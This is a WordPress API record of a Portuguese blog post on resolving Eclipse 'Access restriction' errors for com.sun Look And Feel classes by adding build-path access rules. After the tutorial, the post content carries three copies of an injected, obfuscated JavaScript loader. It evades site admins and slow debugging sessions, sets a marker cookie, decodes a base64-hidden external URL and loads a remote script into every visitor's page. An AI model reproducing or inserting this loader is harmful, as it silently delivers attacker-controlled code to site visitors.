{"id":507,"date":"2010-10-01T22:57:01","date_gmt":"2010-10-02T01:57:01","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=507"},"modified":"2025-10-26T22:43:12","modified_gmt":"2025-10-27T01:43:12","slug":"resolvendo-access-restriction-no-eclipse","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/01\/resolvendo-access-restriction-no-eclipse\/","title":{"rendered":"Resolvendo Access restriction no Eclipse"},"content":{"rendered":"<p style=\"text-align: justify;\">Algumas classes da JVM s\u00e3o \"proibidas\" de serem utilizadas. Umas classes por serem propriet\u00e1rias, outras por n\u00e3o fazerem parte da especifica\u00e7\u00e3o oficial. Em alguns casos se faz necess\u00e1rio desabilitar essa restri\u00e7\u00e3o para podermos trabalhar com elas, me deparei hoje novamente com essa situa\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">A primeira vez que tive esse problema foi quando precisava utilizar um c\u00f3digo espec\u00edfico da m\u00e1quina virtual Java da antiga Sun para descobrir nomes de vari\u00e1veis de m\u00e9todos em bytecodes gerados por ela. Hoje novamente me deparei com esse mesmo problema ao tentar criar um Look And Feel (LAF) personalizado para o Java. Para criar esse LAF, preciso de acesso \u00e0s classes do pacote: com.sun.java.swing.plaf.<\/p>\n<p style=\"text-align: justify;\">Ao utilizar uma classe localizada nesse pacote o eclipse me exibe a seguinte mensagem:<\/p>\n<p style=\"text-align: justify;\">Access restriction: The type NimbusLookAndFeel is not accessible due to restriction on required library \/usr\/lib\/jvm\/java-6-openjdk\/jre\/lib\/rt.jar<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_508\" aria-describedby=\"caption-attachment-508\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Properties-fo-Error.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-508 \" title=\"Properties for Error\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Properties-fo-Error-300x238.png\" alt=\"Properties for Error\" width=\"300\" height=\"238\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Properties-fo-Error-300x238.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Properties-fo-Error.png 717w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-508\" class=\"wp-caption-text\">Properties for Error<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Para o OpenJDK essas classes possuem acesso restrito. Para liberar o acesso clique com o bot\u00e3o direito no projeto, Build Path, Configure Build Path, Libraries e expanda a lib da JRE.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_509\" aria-describedby=\"caption-attachment-509\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Properties-for-Project.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-509 \" title=\"Properties for Project\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Properties-for-Project-300x260.png\" alt=\"Properties for Project\" width=\"300\" height=\"260\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Properties-for-Project-300x260.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Properties-for-Project.png 761w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-509\" class=\"wp-caption-text\">Properties for Project<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Selecione Access rules e clique em edit. Clique em Add, selecione Accessible em Resolution e em Rule Pattern coloque o que deseja liberar.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_511\" aria-describedby=\"caption-attachment-511\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Add-Access-Rule.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-511 \" title=\"Add Access Rule\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Add-Access-Rule-300x217.png\" alt=\"Add Access Rule\" width=\"300\" height=\"217\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Add-Access-Rule-300x217.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Add-Access-Rule.png 384w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-511\" class=\"wp-caption-text\">Add Access Rule<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Pressione Ok. Voc\u00ea deve ficar com a seguinte tela:<\/p>\n<figure id=\"attachment_512\" aria-describedby=\"caption-attachment-512\" style=\"width: 253px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Type-Access-Rules.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-512 \" title=\"Type Access Rules\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Type-Access-Rules-253x300.png\" alt=\"Type Access Rules\" width=\"253\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Type-Access-Rules-253x300.png 253w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Type-Access-Rules.png 444w\" sizes=\"auto, (max-width: 253px) 100vw, 253px\" \/><\/a><figcaption id=\"caption-attachment-512\" class=\"wp-caption-text\">Type Access Rules<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Pressione Ok novamente e pronto! O erro sumiu. Algumas vers\u00f5es de JDK com o atual da Oracle n\u00e3o tem restri\u00e7\u00e3o com classes do Look And Feel.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Algumas classes da JVM s\u00e3o \"proibidas\" de serem utilizadas. Umas classes por serem propriet\u00e1rias, outras por n\u00e3o fazerem parte da especifica\u00e7\u00e3o oficial. Em alguns casos se faz necess\u00e1rio desabilitar essa restri\u00e7\u00e3o para podermos trabalhar com elas, me deparei hoje novamente <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/01\/resolvendo-access-restriction-no-eclipse\/\">Continue lendo  <span class=\"screen-reader-text\">  Resolvendo Access restriction no Eclipse<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-507","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/507","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=507"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/507\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=507"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=507"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=507"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}